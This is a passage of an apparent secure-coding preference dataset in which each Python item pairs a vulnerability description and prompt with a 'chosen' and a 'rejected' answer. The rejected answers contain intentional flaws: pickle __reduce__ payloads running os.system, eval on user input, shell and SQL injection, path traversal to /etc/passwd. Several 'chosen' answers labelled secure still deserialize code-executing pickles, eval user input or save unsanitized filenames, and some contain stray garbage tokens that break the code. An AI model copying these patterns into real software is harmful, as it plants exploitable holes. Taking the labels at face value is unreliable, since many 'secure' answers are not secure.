        "rejected": "```python\nimport pickle\nimport os\n\nclass TestClass(object):\n    def __init__(self):\n        self.data = \"Test Data\"\n\ndef serialize_and_deserialize():\n    test_obj = TestClass()\n    serialized_obj = pickle.dumps(test_obj)\n    deserialized_obj = pickle.loads(serialized_obj)\n    return deserialized_obj\n\ndef create_malicious_pickle():\n    class MaliciousClass(object):\n        def __reduce__(self):\n            return (os.system, ('echo \"Malicious Code Execution\"',))\n\n    malicious_obj = MaliciousClass()\n    serialized_malicious_obj = pickle.dumps(malicious_obj)\n    return serialized_malicious_obj\n\ndef main():\n    serialized_malicious_obj = create_malicious_pickle()\n    deserialized_obj = pickle.loads(serialized_malicious_obj)\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's global() function can lead to arbitrary code execution if used carelessly.",
        "system": "",
        "question": "Write a python code that defines a function named `create_function`. This function creates a string `global_code` using ASCII values and then executes this string. Then, it takes an input string `input_string` which is a command to clear the terminal screen. It creates another string `global_code` using this input string and executes it. Finally, it calls the `create_function` and executes the `global_code` again.",
        "chosen": "```python\ndef create_function(input_string):\n    safe_dict = {'__builtins__': None}\n    code_object = compile(input_string, '<string>', 'eval')\n    return eval(code_object, safe_dict)\n\ninput_string = \"__import__('os').system('clear')\"\ncreate_function(input_string)\n```",
        "rejected": "```python\ndef create_function():\n    exec('global_code = \\\"\\\".join([chr(int(c)) for c in [97, 109, 98, 105, 116, 117, 115, 49]])')\n    exec(global_code)\n\ninput_string = \"__import__('os').system('clear')\"\nexec('global_code = \\\"' + input_string + '\\\"')\ncreate_function()\neval(global_code)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The Python pickle module can lead to arbitrary code execution due to deserialization of untrusted data.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object. The object should override the `__reduce__` method to execute the command 'echo \"You have been hacked\"' using the os.system function.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass RCE:\n    def __reduce__(self):\n        return (subprocess.run, (['echo', 'You have been hacked'],),)\n\npickled = pickle.dumps(RCE())\nunpickled = pickle.loads(pickled)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass RCE:\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked\"',))\n\npickled = pickle.dumps(RCE())\nunpickled = pickle.loads(pickled)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Potential buffer overflow vulnerability in Python due to handling of strings and bytes\".",
        "system": "",
        "question": "Write a python code that reads and writes files. The program should take two command line arguments: source file and destination file. It should read the content from the source file and write it into the destination file.",
        "chosen": "```python\nimport sys\n\ndef read_file(filename):\n    try:\n        with open(filename, 'rb') as f:\n            return f.read()\n    except FileNotFoundError:\n        print(f\"File {filename} not found.\")\n        sys.exit(1)\n    except Exception as e:\n        print(f\"Error reading file {filename}: {str(e)}\")\n        sys.exit(1)\n\ndef write_file(filename, data):\n    try:\n        with open(filename, 'wb') as f:\n            f.write(data)\n    except Exception as e:\n        print(f\"Error writing file {filename}: {str(e)}\")\n        sys.exit(1)\n\ndef copy_file(src, dest):\n    data = read_file(src)\n    if data:\n        write_file(dest, data)\n\nif __name__ == \"__main__\":\n    if len(sys.argv) != 3:\n        print(\"Usage: python3 exploit.py <source> <destination>\")\n        sys.exit(1)\n\n    src = sys.argv[1]\n    dest = sys.argv[2]\n\n    copy_file(src, dest)\n```",
        "rejected": "```python\nimport sys\n\ndef read_file(filename):\n    with open(filename, 'r') as f:\n        return f.read()\n\ndef write_file(filename, data):\n    with open(filename, 'w') as f:\n        f.write(data)\u5986\n\ndef copy_file(src, dest):\n    data = read_file(src)\n    write_file(dest, data)\n\nif __name__ == \"__main__\":\n    if len(sys.argv) != 3:\n        print(\"Usage: python3 exploit.py <source> <destination>\")\n        sys.exit(1)\n\n    src = sys.argv[1]\n    dest = sys.argv[2]\n\n    copy_file(src, dest)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's pickle module can lead to arbitrary code execution due to deserialization of untrusted data.",
        "system": "",
        "question": "Write a python code that creates a class named 'Exploit' which has a special method `__reduce__`. This method returns a tuple where the first element is the function `os.system` and the second element is a string argument 'echo \"Hacked!\" > hacked.txt'. Then, define a function `serialize_exploit` that opens a file named 'data.pickle' in binary write mode, serializes an instance of the 'Exploit' class using the pickle module, and writes it into the file. Finally, if the script is run directly, call the `serialize_exploit` function.",
        "chosen": "```python\nimport pickle\nimport os\nimport subprocess\n\nclass Exploit(object):\n    def __reduce__(self):\n        return (subprocess.Popen, (['echo', 'Hacked!'], \n                                  stdout=open('hacked.txt', 'w')))\n\ndef serialize_exploit():\n    with open('data.pickle', 'wb') as f:\n        pickle.dump(Exploit(), f) Hawk\n\nif __name__ == '__main__':\n    serialize_exploit()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass Exploit(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"Hacked!\" > hacked.txt',))\n\ndef serialize_exploit():\n    with open('data.pickle', 'wb') as f:\n        pickle.dump(Exploit(), f)\n\nif __name__ == '__main__':\n    serialize_exploit()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, an unsafe `pickle` module usage can lead to arbitrary code execution.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object. The object should override the `__reduce__` method to execute a system command that prints out 'You have been hacked!' when deserialized.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass SafePickle(object):\n    def __reduce__(self):\n        return (subprocess.run, (['echo', 'You have been hacked'],))\n\nsafe_data = pickle.dumps(SafePickle())\npickle.loads(safe_data)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilPickle(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\"',))\n\nvulnerable_data = pickle.dumps(EvilPickle())\npickle.loads(vulnerable_data)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, improper handling of exceptions can lead to information disclosure or arbitrary code execution.",
        "system": "",
        "question": "Write a python code that opens and reads a file from a user-provided file path. If the file path is invalid or the user does not have permission to read the file, the program should catch the exception and print an error message.",
        "chosen": "```python\nimport os\n\ndef secure_function(user_input):\n    # Check if the file exists\n    if os.path.exists(user_input):\n        # Check if the user has read permissions for the file\n        if os.access(user_input, os.R_OK):\n            try:\n                with open(user_input, 'r') as f:\n                    print(f.read())\n            except IOError as e:\n                print(\"An error occurred while reading the file: \", e)\n        else:\n            print(\"Permission denied: You do not have read access to this file.\")\n    else:\n        print(\"The file does not exist.\")\n\nif __name__ == \"__main__\":\n    input_from_attacker = \"../../../etc/passwd\"\n    secure_function(input_from_attacker)\n```",
        "rejected": "```python\nimport sys\n\ndef vulnerable_function(user_input):\n    try:\n        # Assume user_input is a file path\n        with open(user_input, 'r') as f:\n            print(f.read())\n    except Exception as e:\n        print(\"An error occurred: \", e)\n\nif __name__ == \"__main__\":\n    input_from_attacker = \"../../../etc/passwd\"\n    vulnerable_function(input_from_attacker)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python code can suffer from a 'pickle' module exploit where untrusted data can be deserialized leading to arbitrary code execution.",
        "system": "",
        "question": "Write a python code that imports the pickle and os modules. Define a class named VulnerableClass which has a method __reduce__ that returns a tuple containing the os.system function and a string argument 'echo \"You have been hacked\"'. Create an instance of VulnerableClass, serialize it using pickle.dumps() and store the result in vulnerable_data. Then unpickle the data using pickle.loads() which will execute the system command.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass SafeClass:\n    def __init__(self):\n        self.command = 'echo \"You have been hacked\"'\n\n    def __reduce__(self):\n        return (subprocess.Popen, (self.command,))\n\nsafe_data = pickle.dumps(SafeClass())\n\n# Unpickling the data will execute the system command\npickle.loads(safe_data)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass VulnerableClass:\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked\"',))\n\nvulnerable_data = pickle.dumps(VulnerableClass())\n\n# Unpickling the data will execute the system command\npickle.loads(vulnerable_data)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A potential buffer overflow vulnerability in Python code due to incorrect handling of input data.",
        "system": "",
        "question": "Write a python code that reads input from standard input, stores it in a byte array and then prints the byte array. The byte array should be able to store 400 bytes of data.",
        "chosen": "```python\nimport sys\n\ndef secure_function(user_input):\n    max_size = 400\n    if len(user_input) > max_size:\n        raise ValueError(\"Input too large\")\n    buffer = bytearray(max_size)\n    for i in range(len(user_input)):\n        buffer[i] = user_input[i] covered by the above check\n    return buffer\n\nif __name__ == \"__main__\":\n    user_input = sys.stdin.buffer.read()\n    print(secure_function(user_input))\n```",
        "rejected": "```python\nimport sys\n\ndef vulnerable_function(user_input):\n    buffer = bytearray(400)\n    for i in range(len(user_input)):\n        buffer[i] = user_input[i]\n    return buffer\n\nif __name__ == \"__main__\":\n    user_input = sys.stdin.buffer.read()\n    print(vulnerable_function(user_input))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The 'eval' function in Python can lead to arbitrary code execution if it is used on untrusted input, potentially allowing an attacker to execute malicious commands.",
        "system": "",
        "question": "Write a python code that takes user input, evaluates it and executes it.",
        "chosen": "```python\nimport ast\n\nclass RestrictedPython(ast.NodeTransformer):\n    def visit_Call(self, node):\n        if not (isinstance(node.func, ast.Name) and node.func.id in ['print', 'open']):\n            raise ValueError('Invalid function call')\n        self.generic_visit(node)\n        return node\n\ndef get_user_input():\n    return input(\"Enter something: \")\n\ndef evaluate_input(user_input):\n    tree = compile(user_input, \"<string>\", \"exec\")\n    RestrictedPython().visit(tree)\n    exec(tree)\n\ndef main():\n    user_input = get_user_input()\n    try:\n        evaluate_input(user_input)\n    except Exception as e:\n        print(f\"An error occurred: {e}\")\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\nimport os\n\ndef get_user_input():\n    return input(\"Enter something: \")\n\ndef evaluate_input(user_input):\n    eval(user_input)\n\ndef main():\n    user_input = get_user_input()\n    evaluate_input(user_input)\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The use of `eval()` function without proper input validation or sanitization can lead to code injection attacks.",
        "system": "",
        "question": "Write a python code that continually asks the user for an input, evaluates it as Python code and executes it. If the user inputs anything other than valid Python code, the program will throw an error.",
        "chosen": "```python\nimport ast\nimport time\n\nclass RestrictedPython(ast.NodeTransformer):\n    def visit_Import(self, node):\n        raise ValueError(\"Imports not allowed\")\n\n    def visit_ImportFrom(self, node):\n        raise ValueError(\"Imports not allowed\")\n\n    def visit_Call(self, node):\n        if isinstance(node.func, ast.Name) and not node.func.id.isidentifier():\n            raise ValueError(\"Function calls not allowed\")\n        self.generic_visit(node)\n\ndef safe_eval(code):\n    tree = compile(code, filename=\"<input>\", mode=\"eval\")\n    RestrictedPython().visit(tree)\n    return eval(compile(tree, filename=\"<input>\", mode=\"exec\"))\n\ndef good_function():\n    user_input = input(\"Enter something: \")\n    try:\n        safe_eval(user_input)\n    except Exception as e:\n        print(f\"Invalid input: {e}\")\n\nwhile True:\n    good_function()\n    time.sleep(1)\n```",
        "rejected": "```python\nimport time\n\ndef bad_function():\n    user_input = input(\"Enter something: \")\n    eval(user_input)\n\nwhile True:\n    bad_function()\n    time.sleep(1)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A potential security issue in Python could be a lack of data validation when accepting untrusted input from users. This can lead to injection attacks where an attacker can manipulate the input to execute malicious commands",
        "system": "",
        "question": "Write a python code that imports the os module. Define a function named run_command that takes in a string user_input. Inside the function, create a variable named command which concatenates the string 'ls ' with the user_input. Then use the os.system() function to execute the command. Finally, call the function run_command with the argument '-al'.",
        "chosen": "```python\nimport subprocess\n\ndef run_command(user_input):\n    # Validate user input here\n    if \";\" in user_input or \"&&\" in user_input or \"|\" in user_input or \"&\" in user_input:\n        print(\"Invalid input\")\n        return\n    command = ['ls', user_input]\n    # Use subprocess instead of os.system for better security\n    try:\n        result = subprocess.run(command, capture_output=True, text=True, check=True)\n        print(result.stdout)\n    except subprocess.CalledProcessError as e:\n        print(f\"Command execution failed with error: {e}\")\n\nrun_command('-al')\n```",
        "rejected": "```python\nimport os\n\ndef run_command(user_input):\n    command = 'ls ' + user_input\n    os.system(command)\n\nrun_command('-al')\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A Python script using pickle or cPickle module for serialization and deserialization may be vulnerable to arbitrary code execution due to its ability to deserialize and execute arbitrary objects.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object. The object should be an instance of a class named 'EvilClass'. This class has a special method called '__reduce__' which returns a tuple containing the function 'os.system' and a string argument 'echo \"This is an arbitrary command execution\"'\". When you run this code, it will execute the command 'echo \"This is an arbitrary command execution\"' in the system shell.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass SafeClass(object):\n    def __init__(self):\n        self.command = 'echo \"This is a safe command\"'\n\n    def execute_command(self):\n        subprocess.call(self.command, shell=True)\n\ndef serialize_and_deserialize():\n    data = pickle.dumps(SafeClass())\n    obj = pickle.loads(data)\n    obj.execute_command()\n\nserialize_and_deserialize()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilClass(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"This is an arbitrary command execution\"',))\n\ndef serialize_and_deserialize():\n    data = pickle.dumps(EvilClass())\n    obj = pickle.loads(data)\n    return obj\n\nserialize_and_deserialize()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Random code vulnerability present: The use of 'eval' function in Python can lead to arbitrary code execution if used with untrusted input.",
        "system": "",
        "question": "Write a python code that imports the time module. Define a function named 'vulnerable_function'. This function should take no arguments. It should first ask the user to enter a command. Then it should use the built-in Python function 'eval' to evaluate the user's command. This function should not be used in a real-world application because it can lead to arbitrary code execution. After defining the function, call it in the main part of the program.",
        "chosen": "```python\nimport ast\nimport time\n\nclass RestrictedPython(ast.NodeTransformer):\n    def visit_Call(self, node):\n        if not (isinstance(node.func, ast.Name) and node.func.id == 'eval'):\n            raise ValueError('eval function is not allowed')\n        return self.generic_visit(node)\n\ndef restricted_eval(code):\n    tree = compile(code, filename=\"<ast>\", mode=\"eval\")\n    transformer = RestrictedPython()\n    new_tree = transformer.visit(tree)\n    if new_tree is None:\n        raise ValueError('eval function is not allowed')\n    return eval(compile(new_tree, filename=\"<ast>\", mode=\"exec\"))\n\ndef secure_function():\n    user_input = input(\"Enter your command: \")\n    restricted_eval(user_input)\n\nif __name__ == \"__main__\":\n    print(\"Welcome to the Secure Function Evaluator.\")\n    time.sleep(1)\n    print(\"Please enter your command to execute.\")\n    time.sleep(1)\n    print(\"We have implemented a secure way to evaluate your commands.\")\n    time.sleep(1)\n    print(\"Let's start.\")\n    time.sleep(1)\n    secure_function()\n```",
        "rejected": "```python\nimport time\n\ndef vulnerable_function():\n    user_input = input(\"Enter your command: \")\n    eval(user_input)\n\nif __name__ == \"__main__\":\n    print(\"Welcome to the Vulnerable Function Evaluator.\")\n    time.sleep(1)\n    print(\"Please enter your command to execute.\")\n    time.sleep(1)\n    print(\"But be careful, as we are using the 'eval' function and it can lead to arbitrary code execution.\")\n    time.sleep(1)\n    print(\"So, please don't try to break my program.\")\n    time.sleep(1)\n    print(\"Let's start.\")\n    time.sleep(1)\n    vulnerable_function()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The use of pickle module for deserialization of untrusted data can lead to arbitrary code execution.",
        "system": "",
        "question": "Write a python code that creates a malicious pickle object that when deserialized, executes an 'echo' command that prints out the message 'You have been hacked!'. The malicious pickle object is then serialized and deserialized.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass EvilPickle(object):\n    def __reduce__(self):\n        return (subprocess.run, (['echo', 'You have been hacked'],))\n\ndef serialize_exploit():\n    with open('evil.pickle', 'wb') as f:\n        pickle.dump(EvilPickle(), f)\n\ndef deserialize_exploit():\n    with open('evil.pickle', 'rb') as f:\n        pickle.load(f)\n\nserialize_exploit()\ndeserialize_exploit()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilPickle(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\"',))\n\ndef serialize_exploit():\n    with open('evil.pickle', 'wb') as f:\n        pickle.dump(EvilPickle(), f)\n\ndef deserialize_exploit():\n    with open('evil.pickle', 'rb') as f:\n        pickle.load(f)\n\nserialize_exploit()\ndeserialize_exploit()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's eval() function can lead to arbitrary code execution if used carelessly with untrusted input.",
        "system": "",
        "question": "Write a python code that imports the os module and defines a function named 'run_command' which takes a string as an argument. This function should create a command string by concatenating 'os.' with the user's input, then evaluate this command using the 'eval' function. The user should be able to enter their command when prompted, and the program should execute the corresponding os command.",
        "chosen": "```python\nimport os\nimport sys\n\ndef run_command(user_input):\n    if user_input == \"exit\":\n        sys.exit()\n    elif user_input == \"help\":\n        print(\"Available commands: dir, exit\")\n    else:\n        try:\n            getattr(os, user_input)()\n        except AttributeError:\n            print(\"Invalid command\")\n\nwhile True:\n    user_input = input(\"Enter your command: \")\n    run_command(user_input)\n```",
        "rejected": "```python\nimport os\n\ndef run_command(user_input):\n    command = \"os.\" + user_input\n    eval(command)\n\nuser_input = input(\"Enter your command: \")\nrun_command(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The 'eval' function in Python can execute arbitrary code, leading to code injection if not used carefully.",
        "system": "",
        "question": "Write a python code that creates a web application using Flask framework. The application should have two routes: one at the root ('/'), which returns a welcome message, and another at '/calculate' that accepts POST requests. When a POST request is made to '/calculate', it should take the data from the request, evaluate it as a python expression using the built-in eval function, and return the result.",
        "chosen": "```python\nfrom flask import Flask, request, make_response\nimport ast\n\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n    return \"Welcome to my website!\"\n\n@app.route('/calculate', methods=['POST'])\ndef calculate():\n    data = request.form.get('data')\n    \n    # Check if data is None\n    if data is None:\n        return make_response(\"No data provided\", 400)\n\n    # Parse the data into an AST (Abstract Syntax Tree)\n    try:\n        tree = ast.parse(data, mode='eval')\n    except SyntaxError:\n        return make_response(\"Invalid syntax\", 400)\n\n    # Ensure the tree only contains literals and containers\n    for node in ast.walk(tree):\n        if not (isinstance(node, ast.Expression) or\n                isinstance(node, ast.Num) or\n                isinstance(node, ast.Str) or\n                isinstance(node, ast.Bytes) or\n                isinstance(node, ast.NameConstant) or\n                isinstance(node, ast.List) or\n                isinstance(node, ast.Tuple) or\n                isinstance(node, ast.Dict) or\n                isinstance(node, ast.BinOp) or\n                isinstance(node, ast.UnaryOp) or\n                isinstance(node, ast.Compare) or\n                isinstance(node, ast.Call)):\n            return make_response(\"Invalid operation\", 400)\n\n    # Evaluate the expression\n    result = eval(compile(tree, filename='', mode='eval'))\n\n    return \"Result: {}\".format(result)\n\nif __name__ == '__main__':\n    app.run()\n```",
        "rejected": "```python\nfrom flask import Flask, request\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n    return \"Welcome to my website!\"\n\n@app.route('/calculate', methods=['POST'])\ndef calculate():\n    data = request.form.get('data')\n    result = eval(data)\n    return \"Result: {}\".format(result)\n\nif __name__ == '__main__':\n    app.run()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, not properly validating or sanitizing user input can lead to SQL injection vulnerabilities.",
        "system": "",
        "question": "Write a python code that connects to an SQLite database named 'mydatabase.db'. The code should have a function called 'get_user_info' which takes a 'username' as input. This function should execute a SQL query to fetch all columns from the 'users' table where the 'username' matches the input.",
        "chosen": "```python\nimport sqlite3\nfrom sqlite3 import Error\n\ndef create_connection():\n    conn = None;\n    try:\n        conn = sqlite3.connect('mydatabase.db')\n        print(sqlite3.version)\n    except Error as e:\n        print(e)\n    return conn\n\ndef get_user_info(conn, username):\n    cursor = conn.cursor()\n    cursor.execute(\"SELECT * FROM users WHERE username=?\", (username,))\n    rows = cursor.fetchall()\n    for row in rows:\n        print(row)\n\ndef main():\n    conn = create_connection()\n    with conn:\n        get_user_info(conn, 'test_user')\n\nif __name__ == '__main__':\n    main()\n```",
        "rejected": "```python\nimport sqlite3\ndef get_user_info(username):\n    conn = sqlite3.connect('mydatabase.db')\n    cursor = conn.cursor()\n    query = \"SELECT * FROM users WHERE username = '\" + username + \"'\"\n    cursor.execute(query)\n    user_info = cursor.fetchone()\n    return user_info\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Potential buffer overflow vulnerability in Python's pickle module due to untrusted data deserialization.",
        "system": "",
        "question": "Write a python code that uses the pickle module to serialize and deserialize an object. The object should be a class named 'VulnerableClass' which has a special method '__reduce__' that returns a tuple containing the function 'os.system' and a string argument 'echo Attacker has been hacked > /tmp/hacked'. This will execute the command 'echo Attacker has been hacked > /tmp/hacked' when the object is deserialized.",
        "chosen": "```python\nimport pickle\nimport os\nimport subprocess\n\nclass SafeClass:\n    def __reduce__(self):\n        # Use subprocess instead of os.system for security reasons\n        return (subprocess.run, (['echo', 'Attacker has been hacked'],))\n\ndef serialize_and_deserialize(obj):\n    serialized = pickle.dumps(obj)\n    deserialized = pickle.loads(serialized)\n    return deserialized\n\nsafe_object = SafeClass()\nserialize_and_deserialize(safe_object)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass VulnerableClass:\n    def __reduce__(self):\n        return (os.system, ('echo Attacker has been hacked > /tmp/hacked',))\n\ndef serialize_and_deserialize(obj):\n    serialized = pickle.dumps(obj)\n    deserialized = pickle.loads(serialized)\n    return deserialized\n\nvulnerable_object = VulnerableClass()\nserialize_and_deserialize(vulnerable_object)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, there's a chance of a 'Pickle' module vulnerability where untrusted data deserialization can lead to arbitrary code execution.",
        "system": "",
        "question": "Write a python code that uses the pickle module to serialize and deserialize an object. The object should be an instance of a class named 'VulnerableClass'. This class should override the `__reduce__` method to return a tuple containing the os.system function and a string argument 'echo \"You have been hacked!\"'. After deserializing the object, it should execute the command 'echo \"You have been hacked!\"'.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass SafeClass:\n    def __init__(self):\n        self.command = 'echo \"You have been hacked!\"'\n\n    def __reduce__(self):\n        return (subprocess.run, (self.command,))\n\ndef serialize_and_deserialize():\n    data = pickle.dumps(SafeClass())\n    deserialized_data = pickle.loads(data)\n    return deserialized_data\n\nserialize_and_deserialize()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass VulnerableClass:\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\"',))\n\ndef serialize_and_deserialize():\n    data = pickle.dumps(VulnerableClass())\n    deserialized_data = pickle.loads(data)\n    return deserialized_data\n\nserialize_and_deserialize()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, improper input validation can lead to arbitrary code execution, a known security vulnerability.",
        "system": "",
        "question": "Write a python code that takes user input and executes it as a shell command using the 'os' module. The user input should be appended to the string 'ls' to form a valid shell command. The resulting command should be executed using the 'os.system()' function.",
        "chosen": "```python\nimport subprocess\n\ndef execute_command(user_input):\n    # Validate user input to prevent shell injection attacks\n    if any(char in user_input for char in [';', '&', '|', '*', '?', '`', '$', '<', '>', '[', ']', '{', '}', '#', '^', '~']):\n        print(\"Invalid input\")\n        return\n    \n    command = ['ls', user_input]\n    try:\n        # Use subprocess instead of os.system to avoid shell injection\n        result = subprocess.run(command, capture_output=True, text=True, check=True)\n        print(result.stdout)\n    except subprocess.CalledProcessError as e:\n        print(f\"Command failed with error: {e}\")\n\nuser_input = input(\"Enter your command: \")\nexecute_command(user_input)\n```",
        "rejected": "```python\nimport os\ndef execute_command(user_input):\n    command = 'ls ' + user_input\n    os.system(command)\n\nuser_input = input(\"Enter your command: \")\nexecute_command(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Potential buffer overflow vulnerability in Python's pickle module, which can be exploited by maliciously crafted pickle data.",
        "system": "",
        "question": "Write a python code that creates a class named `VulnerableClass`. This class should have an initializer method that initializes an empty list `data`. It should also have a method `add_data` which appends an item to the list `data`. The class should also have a method `save_to_file` which saves the object of the class into a file using pickle. Write another function `load_from_file` which loads the object of the class from a file using pickle. Create an instance of `VulnerableClass` and add a lot of data to it. Save the instance to a file using the `save_to_file` method. Load the instance from the file using the `load_from_file` function. Print the data in the loaded instance. Finally, remove the pickle file.",
        "chosen": "```python\nimport pickle\nimport os\nimport sys\n\nclass VulnerableClass:\n    def __init__(self):\n        self.data = []\n\n    def add_data(self, item):\n        self.data.append(item)\n\n    def save_to_file(self, filename):\n        try:\n            with open(filename, 'wb') as file:\n                pickle.dump(self, file, protocol=pickle.HIGHEST_PROTOCOL)\n        except Exception as e:\n            print(f\"Error occurred while saving to file: {e}\")\n            sys.exit(1)\n\ndef load_from_file(filename):\n    try:\n        with open(filename, 'rb') as file:\n            return pickle.load(file)\n    except Exception as e:\n        print(f\"Error occurred while loading from file: {e}\")\n        sys.exit(1)\n\n# Create an instance of VulnerableClass and add some data\nvuln_instance = VulnerableClass()\nfor i in range(1000000):  # Add a lot of data to fill up memory\n    vuln_instance.add_data('A' * 1000000)\n\n# Save the instance to a file\nvuln_instance.save_to_file('vuln_file.pkl')\n\n# Load the instance from the file\nloaded_instance = load_from_file('vuln_file.pkl')\n\n# Print the data in the loaded instance\nprint(loaded_instance.data)\n\n# Remove the pickle file\nos.remove('vuln_file.pkl')\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass VulnerableClass:\n    def __init__(self):\n        self.data = []\n\n    def add_data(self, item):\n        self.data.append(item)\n\n    def save_to_file(self, filename):\n        with open(filename, 'wb') as file:\n            pickle.dump(self, file)\n\ndef load_from_file(filename):\n    with open(filename, 'rb') as file:\n        return pickle.load(file)\n\n# Create an instance of VulnerableClass and add some data\nvuln_instance = VulnerableClass()\nfor i in range(1000000):  # Add a lot of data to fill up memory\n    vuln_instance.add_data('A' * 1000000)\n\n# Save the instance to a file\nvuln_instance.save_to_file('vuln_file.pkl')\n\n# Load the instance from the file\nloaded_instance = load_from_file('vuln_file.pkl')\n\n# Print the data in the loaded instance\nprint(loaded_instance.data)\n\n# Remove the pickle file\nos.remove('vuln_file.pkl')\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Potential buffer overflow vulnerability, caused by incorrect handling of strings in Python",
        "system": "",
        "question": "Write a python code that uses Flask and allows users to upload files to a specific directory on the server.",
        "chosen": "```python\nfrom flask import Flask, request, abort\nimport os\n\nUPLOAD_DIRECTORY = \"/var/www/uploads/\"\n\nif not os.path.exists(UPLOAD_DIRECTORY):\n    os.makedirs(UPLOAD_DIRECTORY)\n\napp = Flask(__name__)\n\n@app.route('/upload', methods=['POST'])\ndef upload_file():\n    if 'file' not in request.files:\n        return abort(400, 'No file part')\n    file = request.files['file']\n    filename = file.filename\n    if filename == '':\n        return abort(400, 'No selected file')\n    if file:\n        file.save(os.path.join(UPLOAD_DIRECTORY, filename))\n        return 'File uploaded successfully!'\n\nif __name__ == \"__main__\":\n    app.run(host='0.0.0.0', port=80)\n```",
        "rejected": "```python\nfrom flask import Flask, request\nimport os\n\napp = Flask(__name__)\n\n@app.route('/upload', methods=['POST'])\ndef upload_file():\n    file = request.files['file']\n    filename = file.filename\n    file.save(\"/var/www/uploads/\" + filename)\n    return 'File uploaded successfully!'\n\nif __name__ == \"__main__\":\n    app.run(host='0.0.0.0', port=80)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python code may suffer from buffer overflow if not input validation is done appropriately.",
        "system": "",
        "question": "Write a python code that takes user input, processes it into a byte array and prints the result.",
        "chosen": "```python\ndef get_user_input():\n    input_data = input(\"Enter your data: \")\n    return input_data\n\ndef process_data(data):\n    buffer = bytearray(data, 'utf-8')\n    return buffer\n\ndef main():\n    input_data = get_user_input()\n    processed_data = process_data(input_data)\n    print(processed_data)\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\ndef get_user_input():\n    input_data = input(\"Enter your data: \")\n    return input_data\n\ndef process_data(data):\n    buffer = bytearray(1024)\n    for i in range(len(data)):\n        buffer[i] = data[i]\n    return buffer\n\ndef main():\n    input_data = get_user_input()\n    processed_data = process_data(input_data)\n    print(processed_data)\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's eval() function can lead to arbitrary code execution if used incorrectly as it interprets the input as Python code.",
        "system": "",
        "question": "Write a python code that imports the 'os' module, defines a function named 'vulnerable_function'. This function should take user input and use the 'eval' function to execute the user's input as Python code.",
        "chosen": "```python\nimport ast\n\nclass RestrictedPython(ast.NodeVisitor):\n    def visit_Call(self, node):\n        if not isinstance(node.func, ast.Name):\n            raise ValueError('Not allowed')\n        self.generic_visit(node)\n\ndef safe_eval(node):\n    RestrictedPython().visit(node)\n\ndef vulnerable_function():\n    user_input = input(\"Enter what you want to execute: \")\n    tree = ast.parse(user_input, mode='eval')\n    safe_eval(tree)\n\nvulnerable_function()\n```",
        "rejected": "```python\nimport os\n\ndef vulnerable_function():\n    user_input = input(\"Enter what you want to execute: \")\n    eval(user_input)\n\nvulnerable_function()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's Pickle module is vulnerable to arbitrary code execution attacks when loading untrusted data.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object. The object should override the `__reduce__` method to execute the command 'echo \"You have been hacked!\"' when the object is deserialized.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass SafePickle(object):\n    def __reduce__(self):\n        return (subprocess.run, (['echo', \"You have been hacked!\"],))\n\ndata = pickle.dumps(SafePickle())\npickle.loads(data)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilPickle(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\"',))\n\ndata = pickle.dumps(EvilPickle())\npickle.loads(data)\n```"
    },
    {
        "lang": "python",
